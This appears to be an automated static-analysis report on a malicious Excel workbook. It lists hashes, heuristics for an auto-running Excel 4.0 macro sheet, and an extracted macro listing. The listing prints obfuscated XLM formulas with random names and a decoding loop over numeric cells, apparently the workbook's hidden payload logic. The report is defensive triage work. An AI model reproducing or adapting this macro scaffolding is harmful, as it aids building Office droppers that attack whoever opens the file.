Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f25791e1ec75140…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:25 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 0057a05a5198aa5e5d5659798e483eeb SHA-1: cbfac635d5fb1fa06ab83aa8d6a5e48ed4dfd8a1 SHA-256: 2f25791e1ec751401e8bffd985ff057d95d273abdf47ccec3132a2f829fa907a
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6671 bytes
SHA-256: d2816394158436ac091813f19d6367fd17229095cb57122ab0849bf9497322c0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'kJWlurfebgK') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IPhxZJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G133 
' 0018     23 LABEL : Cell Value, String Constant - CxVvvKyo len=0 
' 0018     21 LABEL : Cell Value, String Constant - EhMlnj len=0 
' 0018     26 LABEL : Cell Value, String Constant - enAwgcVYpRI len=0 
' 0018     21 LABEL : Cell Value, String Constant - fnCnZP len=0 
' 0018     21 LABEL : Cell Value, String Constant - hVhhno len=0 
' 0018     26 LABEL : Cell Value, String Constant - IYzxFVHtrdr len=0 
' 0018     26 LABEL : Cell Value, String Constant - kJWlurfebgK len=0 
' 0018     26 LABEL : Cell Value, String Constant - OgQhQFLNUTG len=0 
' 0018     25 LABEL : Cell Value, String Constant - pcDRSKZTGz len=0 
' 0018     20 LABEL : Cell Value, String Constant - qqZsW len=0 
' 0018     22 LABEL : Cell Value, String Constant - rxtvzCF len=0 
' 0018     22 LABEL : Cell Value, String Constant - VsOGIDP len=0 
' 0018     21 LABEL : Cell Value, String Constant - VxkDSO len=0 
' 0018     24 LABEL : Cell Value, String Constant - WWvBddLiF len=0 
' 0018     22 LABEL : Cell Value, String Constant - wzWzAyM len=0 
' 0018     20 LABEL : Cell Value, String Constant - Xhrch len=0 
' 0018     25 LABEL : Cell Value, String Constant - zdRAnHlzUu len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZMiHXp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZWgtKbOE len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZzIrQq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IPhxZJ,G47,"SET.NAME("rxtvzCF",0+VALUE("0"))",""
'  IPhxZJ,P49,"",-780.00000000000000000000
'  IPhxZJ,G50,"SET.NAME("ZzIrQq",rxtvzCF)",""
'  IPhxZJ,P50,"",-128.00000000000000000000
'  IPhxZJ,P51,"",-588.00000000000000000000
'  IPhxZJ,P52,"",-402.00000000000000000000
'  IPhxZJ,P53,"",-522.00000000000000000000
'  IPhxZJ,G54,"SET.NAME("fnCnZP",rxtvzCF)",""
'  IPhxZJ,P54,"",603.00000000000000000000
'  IPhxZJ,G59,"SET.NAME("IYzxFVHtrdr",COUNTA(qqZsW))",""
'  IPhxZJ,G63,"SET.NAME("OgQhQFLNUTG",COUNTA(VxkDSO))",""
'  IPhxZJ,G65,[],""
'  IPhxZJ,G67,"SET.NAME("ZWgtKbOE","")",""
'  IPhxZJ,G69,"ZzIrQq",""
'  IPhxZJ,G74,"SET.NAME("CxVvvKyo",HLOOKUP("*",qqZsW,ZzIrQq,FALSE))",""
'  IPhxZJ,G79,"VsOGIDP",""
'  IPhxZJ,G82,"SET.NAME("Xhrch",rxtvzCF)",""
'  IPhxZJ,G85,[],""
'  IPhxZJ,G88,"Xhrch",""
'  IPhxZJ,G91,"kJWlurfebgK",""
'  IPhxZJ,G95,"zdRAnHlzUu",""
'  IPhxZJ,G97,"enAwgcVYpRI",""
'  IPhxZJ,G99,"SET.NAME("wzWzAyM",VALUE(HLOOKUP("*",VxkDSO,enAwgcVYpRI,FALSE)))",""
'  IPhxZJ,G103,"hVhhno",""
'  IPhxZJ,G105,"ZWgtKbOE",""
'  IPhxZJ,G109,"fnCnZP",""
'  IPhxZJ,G111,NEXT(),""
'  IPhxZJ,G114,"ZMiHXp",""
'  IPhxZJ,G118,[],""
'  IPhxZJ,G120,"WWvBddLiF",""
'  IPhxZJ,G124,NEXT(),""
'  IPhxZJ,G128,RETURN(),""
'  IPhxZJ,G158,"SET.NAME("pcDRSKZTGz",G47)",""
'  IPhxZJ,G160,"qqZsW",""
'  IPhxZJ,G165,"SET.NAME("VxkDSO",R66C13)",""
'  IPhxZJ,G169,"SET.NAME("WWvBddLiF",176)",""
'  IPhxZJ,G173,"SET.NAME("EhMlnj",7)",""
'  IPhxZJ,G175,pcDRSKZTGz(),""
'  IPhxZJ,G176,HALT(),""